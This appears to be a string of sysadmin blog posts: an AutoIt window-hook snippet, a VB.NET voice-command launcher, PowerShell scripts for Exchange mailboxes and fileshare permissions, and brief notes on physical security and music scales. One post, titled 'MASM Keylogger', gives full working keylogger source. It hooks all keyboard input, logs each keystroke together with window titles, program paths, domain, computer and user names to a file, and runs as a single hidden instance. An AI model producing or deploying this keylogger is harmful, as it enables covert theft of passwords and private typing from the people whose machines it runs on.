$bHook = BitXOR($bHook, 1)
ShellHookWindow($hGui, $bHook)
GUICtrlSetData($cBtnHook, $aBtnText[$bHook])
EndSwitch
EndFunc
Func HShellWndProc($hWnd, $Msg, $wParam, $lParam)
Switch $wParam
Case $HSHELL_FLASH
MsgPrint("Window flash: " & $lParam & " (" & WinGetTitle($lParam) & ")")
MsgPrint(ProcessGetName(WinGetProcess($lParam)))
if ProcessGetName(WinGetProcess($lParam)) = "CiscoJabber.exe" Then
WinActivate($lParam)
endif
;if WinGetTitle($lParam) = "Conversations" Then
;EndIf
Case Else
;MsgPrint("Unknown ShellHook message: " & $wParam & " , " & $lParam)
EndSwitch
EndFunc
Func ProcessGetName($PId)
If IsNumber($PId) = 0 Then
SetError(2)
ElseIf $PId > 9999 Then
SetError(1)
Else
Local $PList = ProcessList()
Local $i = 1
Local $ProcessName = ""
While $i <= $PList[0][0] And $ProcessName = ""
If $PList[$i][1] = $PId Then
$ProcessName = $PList[$i][0]
Else
$i = $i + 1
EndIf
WEnd
Return $ProcessName
EndIf
EndFunc ;==>ProcessGetName
;register/unregister ShellHook
Func ShellHookWindow($hWnd, $bFlag)
Local $sFunc = 'DeregisterShellHookWindow'
If $bFlag Then $sFunc = 'RegisterShellHookWindow'
Local $aRet = DllCall('user32.dll', 'int', $sFunc, 'hwnd', $hWnd)
MsgPrint($sFunc & ' = ' & $aRet[0])
Return $aRet[0]
EndFunc
Func MsgPrint($sText)
ConsoleWrite($sText & @CRLF)
;GUICtrlSendMsg($cList, $LB_SETCURSEL, GUICtrlSendMsg($cList, $LB_ADDSTRING, 0, $sText), 0)
EndFunc
;register window message
Func RegisterWindowMessage($sText)
Local $aRet = DllCall('user32.dll', 'int', 'RegisterWindowMessage', 'str', $sText)
Return $aRet[0]
EndFunc
Func On_WM_SYSCOMMAND($hWnd, $Msg, $wParam, $lParam)
Switch BitAND($wParam, 0xFFF0)
Case $SC_MOVE, $SC_SIZE
Case $SC_CLOSE
ShellHookWindow($hGui, 0)
Return $GUI_RUNDEFMSG
;Exit
EndSwitch
EndFunc
MASM Keylogger
.386
.model flat, stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
include \masm32\include\advapi32.inc
include \masm32\include\msvcrt.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\advapi32.lib
includelib \masm32\lib\msvcrt.lib
pushz macro szText:VARARG
local nexti
call nexti
db szText,00h
nexti:
endm
fopen PROTO C :DWORD, :DWORD
fprintf PROTO C :DWORD, :VARARG
fflush PROTO C :DWORD
fclose PROTO C :DWORD
.data
hBuffer dd ?
hComputerName db 32 dup(0)
hCurrentThreadPiD dd 0
hCurrentWindow dd 0
hDateFormat db "dd MMM yyyy", 0
hDomaineName db 128 dup(0)
hFile dd 0
hHook dd 0
hmodul MODULEENTRY32 <>
hSnapShot dd 0
hTimeFormat db "hh:mm:ss tt", 0
hUserName db 32 dup(0)
msg MSG <>
onlyOneCopy db "Global\zkl",0
.code
main:
push offset onlyOneCopy ; check to make sure we are the only copy
push 0 ; of this program running for this user
push 0 ; for fast user switching we can still have
call CreateMutexA ; one copy per user running with this check
call GetLastError ; but if this user is running one already. we exit
cmp eax,ERROR_ALREADY_EXISTS
je more_than_one_copy
xor ebx, ebx ; Zero Out ebx
push VK_F11 ; this will switch logger off using CTRL+ALT+F11 together
push MOD_CONTROL or MOD_ALT
push 0badfaceh ; name of register key -> "0BADFACE"
push ebx ;
call RegisterHotKey ; we got a new hot key
pushz "ab" ; append in binary mode
pushz "zLog" ; name of log file
call fopen ; open the log file
add esp, 2*4 ; all c lib functions need fixup..
mov [hFile], eax ; save our file number
push ebx
call GetModuleHandleA ; get our module handle for setting the hook
push ebx ; register our keyboard hook proc and start hooking
push eax
push offset KeyBoardProc ; where our hook proc is located
push WH_KEYBOARD_LL ; low level key logger WH_KEYBOARD_LL = 13
call SetWindowsHookExA ; Look MOM no DLL Needed :P
mov [hHook], eax ; ok here is our hook handle for later
push ebx ; We Need to check for messages like our
push ebx ; hot key, so we can close when we get it
push ebx
push offset msg ; it will be in the message struct
call GetMessageA ; wait for a message
push [hHook] ; we got the hot key, lets close up house
call UnhookWindowsHookEx ; make sure we unhook things to be nice
push [hFile] ; close our logfile before we stop
call fclose
add esp, 04
more_than_one_copy:
push eax ; call stop and lets go away
call ExitProcess
;##############################################################
KeyBoardProc PROC nCode:DWORD, wParam:DWORD, lParam:DWORD
LOCAL lpKeyState[256] :BYTE
LOCAL lpClassName[64] :BYTE
LOCAL lpCharBuf[32] :BYTE
LOCAL lpDateBuf[12] :BYTE
LOCAL lpTimeBuf[12] :BYTE
LOCAL lpLocalTime :SYSTEMTIME
;----------------------------
lea edi, [lpKeyState] ; lets zero out our buffers
push 256/4
pop ecx
xor eax, eax
rep stosd ; sets us up for doubleword from EAX
mov eax, wParam
cmp eax, WM_KEYUP ; only need WM_KEYDOWN
je next_hook ; bypass double logging
cmp eax, WM_SYSKEYUP ; only Need WM_SYSKEYDOWN
je next_hook ; bypass double logging
call GetForegroundWindow ; get handle for currently used window ( specific to NT and after )
cmp [hCurrentWindow], eax ; if its not different to last one saved..
je no_window_change ; bypass all the headings
mov [hCurrentWindow], eax ; save it for use now and compare later
push 64 ; get the class name
lea esi, [lpClassName]
push esi
push [hCurrentWindow]
call GetClassName
lea esi, [lpLocalTime] ; invoke GetLocalTime, ADDR LocalTime
push esi
call GetLocalTime
push 12 ; invoke GetDateFormat, NULL, NULL \
lea esi, [lpDateBuf]
push esi ; ADDR lpLocalTime, ADDR hDateFormat \
lea esi, [hDateFormat]
push esi ; ADDR lpDateBuf, Size of 12
lea esi, [lpLocalTime]
push esi
push 0
push 0
call GetDateFormat ; format the date
push 12 ; invoke GetTimeFormat, NULL, NULL \
lea esi, [lpTimeBuf]
push esi ; ADDR lpLocalTime, ADDR hTimeFormat \
lea esi, [hTimeFormat]
push esi ; ADDR lpTimeBuf, Size of 12
lea esi, [lpLocalTime]
push esi
push 0
push 0
call GetTimeFormat ; format the time
lea esi, [hCurrentThreadPiD] ; get the processid that sent the key
push esi ; using the HWND we got earlier from
mov eax, [hCurrentWindow] ; our GetForegroundWindow call
push eax ; we need it to get the program exe name
call GetWindowThreadProcessId
mov ebx, hCurrentThreadPiD ; remember we are NOT using a DLL so.....
push ebx ; we need to use ToolHelp procs to get
push TH32CS_SNAPMODULE ; the program exe name of who sent us
call CreateToolhelp32Snapshot ; this key
mov hSnapShot,eax ; save the ToolHelp Handle to close later
mov hmodul.dwSize, sizeof MODULEENTRY32; need to initialize size or we will fail
push offset hmodul ; first Module is always module for process
mov eax, [hSnapShot] ; so safe to assume that the exe file name here
push eax ; will always be the right one for us
call Module32First
mov eax, [hSnapShot] ; we are done with ToolHelp so we need
push eax ; to tell it we wish to close
call CloseHandle
push 256 ; find the window title text
lea esi, [lpKeyState] ; use lpKeyState it's not being used yet so
push esi
mov eax, [hCurrentWindow] ; using the HWND we got from GetForegroundWindow
push eax
call GetWindowText
push offset hmodul.szExePath
lea esi, [lpTimeBuf] ; print the formatted time
push esi
lea esi, [lpDateBuf] ; print the formatted date
push esi
pushz 13,10,"[%s, %s - Program:%s]",13,10
push [hFile]
call fprintf ; write the buffer to cache
add esp, 3*4
lea esi, [lpClassName] ; print the Window Class Name
push esi
lea esi, [lpKeyState] ; print the Window Title
push esi
pushz 13,10,"[ Window Title:%s - Window Class:%s]",13,10
push [hFile]
call fprintf ; write the buffer to cache
add esp, 3*4
mov hBuffer, 128 ; get the current domain name
push offset hBuffer
push offset hDomaineName
push 1
call GetComputerNameExA
mov hBuffer, 32 ; get the current computer name
push offset hBuffer
push offset hComputerName
push 0
call GetComputerNameExA
mov hBuffer, 32 ; get the current user name
push offset hBuffer
push offset hUserName
call GetUserNameA
push offset hUserName ; print the user name
push offset hComputerName ; print the computer name
push offset hDomaineName ; print the domain name
pushz "[ Domain:%s - Computer:%s - User:%s]",13,10
push [hFile]
call fprintf ; write to cache
add esp, 3*4
push [hFile]
call fflush ; flush data buffer to disk..
add esp, 4
no_window_change:
mov esi, [lParam] ; we don't want to print shift or capslock names.
lodsd ; it just makes the logs easier to read without them.
cmp al, VK_LSHIFT ; they are tested later when distinguishing between
je next_hook ; bypass left shift Key for upper/lowercase characters
cmp al, VK_RSHIFT
je next_hook ; bypass right shift Key
cmp al, VK_CAPITAL
je next_hook ; bypass caps lock Key
cmp al, VK_ESCAPE
je get_name_of_key ; we Want escape characters
cmp al, VK_BACK
je get_name_of_key ; we want backspace key
cmp al, VK_TAB
je get_name_of_key ; we want tab key
;------------------
lea edi, [lpCharBuf] ; zero initialise buffer for key text
push 32/4
pop ecx
xor eax, eax
rep stosd
;----------
lea ebx, [lpKeyState]
push ebx
call GetKeyboardState ; get current keyboard state
push VK_LSHIFT ; test if left shift key held down
call GetKeyState
xchg esi, eax ; save result in esi
push VK_RSHIFT ; test right..
call GetKeyState
or eax, esi ; al == 1 if either key is DOWN
mov byte ptr [ebx + 16], al ; toggle a shift key to on/off
push VK_CAPITAL
call GetKeyState ; returns TRUE if caps lock is on
mov byte ptr [ebx + 20], al ; toggle caps lock to on/off
mov esi, [lParam]
lea edi, [lpCharBuf]
push 00h
push edi ; buffer for ascii characters
push ebx ; keyboard state
lodsd
xchg eax, edx
lodsd
push eax ; hardware scan code
push edx ; virutal key code
call ToAscii ; convert to human readable characters
test eax, eax ; if return zero, continue
jnz test_carriage_return ; else, write to file.
get_name_of_key: ; no need for large table of pointers to get asciiz
mov esi, [lParam]
lodsd ; skip virtual key code
lodsd ; eax = scancode
shl eax, 16
xchg eax, ecx
lodsd ; extended key info
shl eax, 24
or ecx, eax
push 32
lea edi, [lpCharBuf]
push edi
push ecx
call GetKeyNameTextA ; get the key text
push edi
pushz "[%s]" ; print the special key text
jmp write_to_file
test_carriage_return:
push edi
pushz "%s" ; print regular keys
cmp byte ptr [edi], 0dh ; carriage return?
jne write_to_file
mov byte ptr [edi + 1], 0ah ; add linefeed, so logs are easier to read.
write_to_file:
push [hFile] ; where we write to the log file
call fprintf
add esp, 2*4
next_hook:
push [lParam] ; reply for possible other hooks waiting
push [wParam]
push [nCode]
push [hHook]
call CallNextHookEx
ret
KeyBoardProc ENDP
end main
Adding Voice Recognition to your applications in VB.NET
Imports System.Globalization
Imports System.Speech
Imports System.Speech.Recognition
Imports System.Speech.Synthesis
Module Module1
Dim ss As New SpeechSynthesizer()
Dim sre As SpeechRecognitionEngine
Dim done As Boolean = False
Dim speechOn As Boolean = True
Public Sub Main()
ss.SetOutputToDefaultAudioDevice()
ss.Speak("Starting")
Dim ci As New CultureInfo("en-us")
sre = New SpeechRecognitionEngine(ci)
sre.SetInputToDefaultAudioDevice()
AddHandler sre.SpeechRecognized, AddressOf sre_SpeechRecognized
LoadGrammer()
sre.RecognizeAsync(RecognizeMode.Multiple)
While done = False
End While
Try
Console.WriteLine(vbLf & "Hit <enter> to close shell" & vbLf)
Console.ReadLine()
Catch ex As Exception
Console.WriteLine(ex.Message)
Console.ReadLine()
End Try
End Sub
Private Function LoadGrammer()
Try
Dim ch_StartStopCommands As New Choices()
ch_StartStopCommands.Add("rdp")
ch_StartStopCommands.Add("speech on")
ch_StartStopCommands.Add("speech off")
ch_StartStopCommands.Add("Close")
Dim gb_StartStop As New GrammarBuilder()
gb_StartStop.Append(ch_StartStopCommands)
Dim g_StartStop As New Grammar(gb_StartStop)
sre.LoadGrammarAsync(g_StartStop)
Dim ch_boolean As New Choices()
ch_boolean.Add("dictate on")
ch_boolean.Add("dictate off")
ch_boolean.Add("dictation on")
ch_boolean.Add("dictation off")
Dim gb_dictate As New GrammarBuilder()
gb_dictate.Append(ch_boolean)
Dim g_dictate As New Grammar(gb_dictate)
sre.LoadGrammarAsync(g_dictate)
Dim ch_Numbers As New Choices()
ch_Numbers.Add("1")
ch_Numbers.Add("2")
ch_Numbers.Add("3")
ch_Numbers.Add("4")
Dim gb_WhatIsXplusY As New GrammarBuilder()
gb_WhatIsXplusY.Append("What Is")
gb_WhatIsXplusY.Append(ch_Numbers)
gb_WhatIsXplusY.Append("plus")
gb_WhatIsXplusY.Append(ch_Numbers)
Dim g_WhatIsXplusY As New Grammar(gb_WhatIsXplusY)
sre.LoadGrammarAsync(g_WhatIsXplusY)
Dim ch_servers As New Choices()
ch_servers.Add("fileshare users")
ch_servers.Add("provision")
ch_servers.Add("vmServer")
ch_servers.Add("file eye es people")
Dim explorerGrammerBuilder As New GrammarBuilder()
explorerGrammerBuilder.Append("explorer")
explorerGrammerBuilder.Append(ch_servers)
Dim explorerGrammer As New Grammar(explorerGrammerBuilder)
sre.LoadGrammarAsync(explorerGrammer)
Dim ch_apps As New Choices({"notepad", "hexeditor", "datacenter", "prtg", "cacti", "nagios", "eye es portal", "infoblox", "command"})
Dim openGrammerBuilder As New GrammarBuilder()
openGrammerBuilder.Append("open")
openGrammerBuilder.Append(ch_apps)
Dim openGrammer As New Grammar(openGrammerBuilder)
sre.LoadGrammarAsync(openGrammer)
Dim ch_rdp As New Choices({"vm", "nt"})
Dim ch_hundres As New Choices({"1", "2", "3", "4", "5", "6", "7", "8", "9", "100", "200", "300", "400", "500", "600", "700", "800", "900"})
Dim ch_tens As New Choices({"1", "2", "3", "4", "5", "6", "7", "8", "9", "eleven", "twelve", "thirteen", "fourteen", "fifthteen", "sixten", "seventeen", "eightteen", "nineteen", "20", "30", "40", "50", "60", "70", "80", "90"})
Dim ch_ones As New Choices({"1", "2", "3", "4", "5", "6", "7", "8", "9"})
Dim rdpGrammerBuilder As New GrammarBuilder()
rdpGrammerBuilder.Append("rdp")
rdpGrammerBuilder.Append(ch_rdp)
rdpGrammerBuilder.Append(ch_hundres)
rdpGrammerBuilder.Append(ch_tens)
rdpGrammerBuilder.Append(ch_ones, 0, 1)
'rdpGrammerBuilder.AppendDictation("spelling")
Dim rdpGrammer As New Grammar(rdpGrammerBuilder)
sre.LoadGrammarAsync(rdpGrammer)
Dim ch_drive As New Choices({"C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P"})
Dim TreeSizeGrammerBuilder As New GrammarBuilder()
TreeSizeGrammerBuilder.Append("treesize")
TreeSizeGrammerBuilder.Append(ch_rdp)
TreeSizeGrammerBuilder.Append(ch_hundres)
TreeSizeGrammerBuilder.Append(ch_tens)
TreeSizeGrammerBuilder.Append(ch_ones, 0, 1)
TreeSizeGrammerBuilder.Append(ch_drive, 0, 1)
'rdpGrammerBuilder.AppendDictation("spelling")
Dim TreeSizeGrammer As New Grammar(TreeSizeGrammerBuilder)
sre.LoadGrammarAsync(TreeSizeGrammer)
Catch ex As Exception
Console.WriteLine(ex.Message)
Console.ReadLine()
End Try
End Function
Public Function URLDecode(ByVal Source As String) As String
Dim x As Integer = 0
Dim CharVal As Byte = 0
Dim sb As New System.Text.StringBuilder()
For x = 0 To (Source.Length - 1)
Dim c As Char = Source(x)
'Check for space
If (c = "+") Then
sb.Append(" ")
ElseIf c <> "%" Then
'Not hex value so add the chars to string builder.
sb.Append(c)
Else
'Convert hex value to char value.
CharVal = Int("&H" & Source(x + 1) & Source(x + 2))
'Add the chars to string builder.
sb.Append(Chr(CharVal))
'INC by 2
x += 2
End If
Next
'Return the string.
Return sb.ToString()
End Function
' Main
WithEvents DictationRecognition As SpeechRecognitionEngine
Dim IsDicatating As Boolean = False
Private Sub sre_SpeechRecognized(sender As Object, e As SpeechRecognizedEventArgs)
Dim txt As String = e.Result.Text
Dim confidence As Single = e.Result.Confidence
Console.WriteLine(Convert.ToString(vbLf & "Recognized: ") & txt)
If confidence < 0.7 Then
Return
End If
If txt.IndexOf("dictat") >= 0 Then
Dim words As String() = txt.Split(" "c)
Select Case words(1)
Case "on"
IsDicatating = True
sre.UnloadAllGrammars()
Dim ch_StartStopCommands As New Choices()
ch_StartStopCommands.Add("dictate off")
Dim gb_StartStop As New GrammarBuilder()
gb_StartStop.Append(ch_StartStopCommands)
Dim g_StartStop As New Grammar(gb_StartStop)
'sre.LoadGrammarAsync(g_StartStop)
DictationRecognition = New SpeechRecognitionEngine(New System.Globalization.CultureInfo("en-US"))
Dim dg As New DictationGrammar("grammar:dictation")
dg.Name = "default dictation"
dg.Enabled = True
DictationRecognition.LoadGrammar(dg)
DictationRecognition.SetInputToDefaultAudioDevice()
DictationRecognition.RecognizeAsync(RecognizeMode.Multiple)
Case "off"
If IsDicatating Then
DictationRecognition.UnloadAllGrammars()
DictationRecognition.Dispose()
LoadGrammer()
IsDicatating = False
Else
Return
End If
End Select
End If
If txt.IndexOf("explorer") >= 0 Then
Dim words As String() = txt.Split(" "c)
Select Case words(1)
Case "provision"
Process.Start("\\vmServer\c$\Program Files\proVision")
End Select
End If
If txt.IndexOf("open") >= 0 Then
Dim words As String() = txt.Split(" "c)
Select Case words(1)
Case "notepad"
Process.Start("notepad++")
Case "datacenter"
Process.Start("https://mydatacenter/")
Case "prtg"
Process.Start("https://prtg/")
Case "nagios"
Process.Start("https://nagios/")
Case "cacti"
Process.Start("https://cacti")
Case "eye es portal"
Process.Start("https://isportal/")
Case "infoblox"
Process.Start("https://infoblox/ui/")
Case "command"
Process.Start("cmd")
End Select
End If
If txt.IndexOf("rdp") >= 0 Then
Dim words As String() = txt.Split(" "c)
If words.Length = 5 Then
words(3) = words(3).Substring(0, 1) & words(4)
End If
Dim MyCreated As String = "mstsc /v:" & words(1) & words(2) & words(3) & " /f"
Process.Start("mstsc", "/v:" & words(1) & words(2) & words(3) & " /f")
End If
If txt.IndexOf("treesize") >= 0 Then
Dim words As String() = txt.Split(" "c)
If words.Length = 6 Then
words(3) = words(3).Substring(0, 1) & words(4)
Process.Start("C:\Program Files\JAM Software\TreeSize Professional\TreeSize.exe", "\\" & words(1) & words(2) & words(3) & "\" & words(5) & "$")
Else
Process.Start("C:\Program Files\JAM Software\TreeSize Professional\TreeSize.exe", "\\" & words(1) & words(2) & words(3) & "\" & words(4) & "$")
End If
End If
If txt.IndexOf("speech on") >= 0 Then
Console.WriteLine("Speech Is now ON")
speechOn = True
End If
If txt.IndexOf("speech off") >= 0 Then
Console.WriteLine("Speech Is now OFF")
speechOn = False
End If
If speechOn = False Then
Return
End If
If txt.IndexOf("klatu") >= 0 AndAlso txt.IndexOf("barada") >= 0 Then
DirectCast(sender, SpeechRecognitionEngine).RecognizeAsyncCancel()
done = True
Console.WriteLine("(Speaking: Farewell)")
ss.Speak("Farewell")
End If
If txt.IndexOf("What") >= 0 AndAlso txt.IndexOf("plus") >= 0 Then
Dim words As String() = txt.Split(" "c)
Dim num1 As Integer = Integer.Parse(words(2))
Dim num2 As Integer = Integer.Parse(words(4))
Dim sum As Integer = num1 + num2
Console.WriteLine("Test")
Console.WriteLine("Speaking: " & words(2) & " plus " & words(4) & " equals " & sum & ")")
ss.SpeakAsync(words(2) & " plus " & words(4) & " equals " & sum)
End If
End Sub
Private Sub DictationRecognition_SpeechRecognized(sender As Object, e As SpeechRecognizedEventArgs) Handles DictationRecognition.SpeechRecognized
Debug.WriteLine("SpeechRecognized: " & e.Result.Confidence & " - " & e.Result.Text)
If e.Result.Confidence > 0.55 Then
System.Windows.Forms.SendKeys.SendWait(e.Result.Text)
End If
End Sub
Private Sub DictationRecognition_SpeechDetected(sender As Object, e As SpeechDetectedEventArgs) Handles DictationRecognition.SpeechDetected
Debug.WriteLine("SpeechDetected: " & e.AudioPosition.Seconds)
End Sub
Private Sub DictationRecognition_RecognizeCompleted(sender As Object, e As RecognizeCompletedEventArgs) Handles DictationRecognition.RecognizeCompleted
Debug.WriteLine("RecognizeCompleted: " & e.Result.Confidence & " - " & e.Result.Text)
End Sub
Private Sub DictationRecognition_SpeechHypothesized(sender As Object, e As SpeechHypothesizedEventArgs) Handles DictationRecognition.SpeechHypothesized
Debug.WriteLine("SpeechHypothesized: " & e.Result.Confidence & e.Result.Text)
End Sub
Private Sub DictationRecognition_SpeechRecognitionRejected(sender As Object, e As SpeechRecognitionRejectedEventArgs) Handles DictationRecognition.SpeechRecognitionRejected
Debug.WriteLine("SpeechRecognitionRejected: " & e.Result.Text)
End Sub
Private Sub DictationRecognition_LoadGrammarCompleted(sender As Object, e As LoadGrammarCompletedEventArgs) Handles DictationRecognition.LoadGrammarCompleted
Debug.WriteLine("Grammer Completed: " & e.Grammar.Name)
End Sub
End Module
Powershell: Crafting a powershell script to check for Litigation Hold
#Error Code List
# 0 No Litigation Hold
# 1 Litigation Hold
#Param must be the first executable line
[CmdletBinding()]
Param(
[string] $EID = "SamAccountName" #Eid to check for Litigation Hold
)
#Remove-Variable * -ErrorAction SilentlyContinue; Remove-Module *; $error.Clear(); Clear-Host #You cannot use this with Param
Add-PSSnapin Microsoft.Exchange.Management.PowerShell.E2010
try
{
$Onhold = get-mailbox $EID
if ($Onhold -eq $null)
{
Write-Host "Powershell: No mailbox located for this user!"
exit 0
}
if ($Onhold.LitigationHoldEnabled -eq $false)
{
Write-Host "Powershell: This box is NOT on hold!"
exit 0
}
else
{
Write-Host "Powershell: This box is on hold!"
exit 1
}
}
catch
{
$_
$_.Exception.Message
$_.Exception.ItemName
Write-Host "Powershell: Exception for " + $EID + "!"
exit 1
}
I’ll let myself in
So this weekend I ended up doing some research and video blogging and I came across this gem. Got to say it was a very interesting and eye-opening 45-minute video for those who like physical security.
https://www.youtube.com/watch?v=rnmcRTnTNC8
Powershell Viewing and Moving users from Exchange Database to another Database
A little nifty Powershell script I threw together to move users around as they get promoted to allow them to have larger inbox quotas. =)
Remove-Variable * -ErrorAction SilentlyContinue; Remove-Module *; $error.Clear(); Clear-Host
Add-PSSnapin Microsoft.Exchange.Management.PowerShell.E2010
foreach($line in get-content "\\Server\Exports\Feed.txt")
{
if (![string]::IsNullOrWhiteSpace($line))
{
$recipients = $line -split [RegEx]::Escape("|")
Try
{
$EID = $recipients[1].trim()
$EmpType = $recipients[17].trim()
$User = Get-ADUser -LDAPFilter "(sAMAccountName=$EID)" -Properties Mail
If ($User.mail -eq $Null)
{
continue
}
$Mb = Get-Mailbox -Identity $EID
if (-not $Mb)
{
continue
}
if ($EmpType -eq "DIR")
{
if ($Mb.Database -ne "DB04" -and $Mb.Database -ne "DBA07")
{
Write-Host $EID $EmpType $Mb.Database
New-MoveRequest -Identity $EID -TargetDatabase "DBA04" -WhatIf
}
}
if ($EmpType -eq "ELT")
{
if ($Mb.Database -ne "DB07")
{
Write-Host $EID $EmpType $Mb.Database
New-MoveRequest -Identity $EID -TargetDatabase "DBA07" -WhatIf
}
}
}
catch
{
}
}
}
Basic Analysis: Circle of 5th Major and Minor Scales
So during my practice of my Sonatina, I was in the Key of G Major, I was doing some deep thinking on converting it to its Parallel and Relative Keys, In this case, G Minor and D Minor. During this example, I thought on how that is the near order of the Major Scale. So normally when you translate from one key to another you can just walk down or up depending on which way you are converting 3 Simitones to your Relative key. I made a grid so you can see the pattern that starts to develop!
Powershell: Maintaining Correct Permissions on a fileshare and Purging Old Data
Here is a copy of a nice little powershell script I threw together to help maintain permissions on servers.
Remove-Variable * -ErrorAction SilentlyContinue; Remove-Module *; $error.Clear(); Clear-Host
$RootFSPath = "G:\users3"
Function GetFolderACL([string]$User, [bool]$Recursive)
{
$filePath = "$RootFSPath\$User"
#Get-Acl -Path $filePath | Format-List
$filePathacl = Get-Acl -Path $filePath
if ($Recursive -eq $True)
{
$folders = Get-ChildItem $filePath -Recurse #-Directory
foreach ($folder in $folders)
{
#Get-Acl -Path $folder.FullName | Format-List
foreach ($access in $filePathacl.Access)
{
if ($access.IdentityReference.Value -eq "YourDomain\$user" -and $access.FileSystemRights -eq "Modify, Synchronize")
{
continue
}
if ($access.IdentityReference.Value -eq "NT AUTHORITY\SYSTEM" -and $access.FileSystemRights -eq "FullControl")
{
continue
}
if ($access.IdentityReference.Value -eq "BUILTIN\Administrators" -and $access.FileSystemRights -eq "FullControl")
{
continue
}
if ($access.IdentityReference.Value -eq "YourDomain\Domain Admins" -and $access.FileSystemRights -eq "FullControl")
{
continue
}
Write-Host $access.IdentityReference $access.FileSystemRights
}
}
}
}
Function GetFolderACLRecursive([string]$filePath, [string]$User,[bool]$Recursive)
{
if ($Recursive -eq $True)
{
$folders = Get-ChildItem $filePath -Recurse -Directory
foreach ($folder in $folders)
{
GetFolderACLRecursive $folder.PSPath $true
}
}
[bool]$UserPerm = $false
[bool]$SystemPerm = $false
[bool]$AdminPerm = $false
[bool]$DomainAdminPerm = $false
$Searcher = [ADSISearcher]"(sAMAccountName=$folder)"
$Results = $Searcher.FindOne()
If ($Results -eq $Null)
{
if ($filePath -ne "$RootFSPath\")
{
#try your best not to wak the parent folder due to Hr's typeo's ;)
Write-Host "$folder does not exist in AD, $filePath can be deleted... Deleting"
Remove-Item –path $filePath –recurse -force
$UserPerm = $true
}
}
else #If they do exit check the ACLS
{
$filePathacl = Get-Acl -Path $filePath
foreach ($access in $filePathacl.Access)
{
if ($access.IdentityReference.Value -eq "YourDomain\$User" -and $access.FileSystemRights -eq "Modify, Synchronize")
{
$UserPerm = $true
continue
}
if ($access.IdentityReference.Value -eq "NT AUTHORITY\SYSTEM" -and $access.FileSystemRights -eq "FullControl")
{
$SystemPerm = $true
continue
}
if ($access.IdentityReference.Value -eq "BUILTIN\Administrators" -and $access.FileSystemRights -eq "FullControl")
{
$AdminPerm = $true
continue
}
if ($access.IdentityReference.Value -eq "YourDomain\Domain Admins" -and $access.FileSystemRights -eq "FullControl")
{
$DomainAdminPerm = $true
continue
}
Write-Host $filePath.PadRight(15) $access.IdentityReference $access.FileSystemRights
}
if ($SystemPerm -eq $false)
{
Write-Host "Missing System Permission to $filePath"
}
if ($AdminPerm -eq $false)
{
Write-Host "Missing Admin Permission to $filePath"
}
if ($DomainAdminPerm -eq $false)
{
Write-Host "Missing DominAdmin Permission to $filePath"
}
if (($UserPerm -eq $false) -or ($SystemPerm -eq $false) -or ($AdminPerm -eq $false) -or ($DomainAdminPerm = $false))
{
return $false
}
}
}
Function SetFolderACL([string]$User, [bool]$Recursive, [bool]$EnableInheritance, [bool]$DisableInheritance)
{
$filePath = "$RootFSPath\$User"
$filePathacl = Get-Acl -Path $filePath
if ($EnableInheritance -eq $True) #This should not happen if we are looking to disable Inheritance, We want to remove it from the parent folder last below in this code.
{
foreach ($access in $filePathacl.Access)
{
#if ($access.IdentityReference.Value -eq $user) {
#$acl.RemoveAccessRule($access) | Out-Null
$filePathacl.RemoveAccessRule($access)
#}
}
$filePathacl.SetAccessRuleProtection($false,$false)
Set-Acl -Path $filePath -AclObject $filePathacl
}
if ($Recursive -eq $True)
{
$folders = Get-ChildItem $filePath -Recurse #-Directory
foreach ($folder in $folders)
{
$acl = Get-Acl -Path $folder.FullName
Write-Host $folder.FullName
if ($EnableInheritance -eq $True)
{
$acl.SetAccessRuleProtection($false,$false)
Set-Acl -Path $folder.FullName -AclObject $acl
}
if ($DisableInheritance -eq $True)
{
$acl.SetAccessRuleProtection($true,$true)
Set-Acl -Path $folder.FullName -AclObject $acl
}
foreach ($access in $acl.Access) {
#if ($access.IdentityReference.Value -eq $user) {
#$acl.RemoveAccessRule($access) | Out-Null
$acl.RemoveAccessRule($access)
#}
}
Set-Acl -Path $folder.FullName -AclObject $acl
}
}
if ($DisableInheritance -eq $True) #This should not happen if we are looking to disable Inheritance, We want to remove it from the parent folder last below in this code.
{
$filePathacl = Get-Acl -Path $filePath
$filePathacl.SetAccessRuleProtection($true,$true)
foreach ($access in $filePathacl.Access)
{
#if ($access.IdentityReference.Value -eq $user) {
#$acl.RemoveAccessRule($access) | Out-Null
$filePathacl.RemoveAccessRule($access)
#}
}
Set-Acl -Path $filePath -AclObject $filePathacl
}
$acl = Get-Acl -Path $filePath
$permission = "YourDomain\$user", "Modify", "ContainerInherit, ObjectInherit", "None", "Allow"
$accessRule = New-Object System.Security.AccessControl.FileSystemAccessRule $permission
$acl.SetAccessRule($accessRule)
$acl | Set-Acl $filepath
}
Function SetStrightFolderACL([string]$User, [bool]$Recursive, [bool]$EnableInheritance, [bool]$DisableInheritance)
{
Write-Host $folder.FullName
$filePath = "$RootFSPath\$User"
$filePathacl = Get-Acl -Path $filePath
$acl = Get-Acl -Path $filePath
$permission = "YourDomain\$user", "Modify", "ContainerInherit, ObjectInherit", "None", "Allow"
$accessRule = New-Object System.Security.AccessControl.FileSystemAccessRule $permission
$acl.SetAccessRule($accessRule)
$acl | Set-Acl $filepath
}
$folders = Get-ChildItem "$RootFSPath" #-Recurse #-Directory
foreach ($folder in $folders)
{
$acl = Get-Acl -Path $folder.FullName
#Write-Host (GetFolderACLRecursive "G:\users3\$folder" $folder $false)
$result = GetFolderACLRecursive "$RootFSPath\$folder" $folder $false
if ($result -eq $false)
{
$Searcher = [ADSISearcher]"(sAMAccountName=$folder)"
$Results = $Searcher.FindOne()
If ($Results -eq $Null)
{
#Write-Host "Users does not exist in AD"
}
Else
{
#Write-Host "User found in AD"
SetFolderACL $folder.Name $true $false $True #Remove Inhairtance
SetFolderACL $folder.Name $true $true $false #Enable Inhairtance
}
}
#Write-Host $folder.FullName
#Write-Host $folder.Name
#GetFolderACL $folder.Name $false
#SetStrightFolderACL $folder.Name $true $true $false #Enable Inhairtance
#SetFolderACL $user $true $true $false #Enable Inhairtance
}
exit
#GetFolderACL $user $true
SetFolderACL $user $true $false $True #Remove Inhairtance
SetFolderACL $user $true $true $false #Enable Inhairtance
exit
SetFolderACL $user $true $false $True #Remove Inhairtance
exit
SetFolderACL $user $true $true $false #Enable Inhairtance
exit
Cleaning up Duplicate SQL Rows
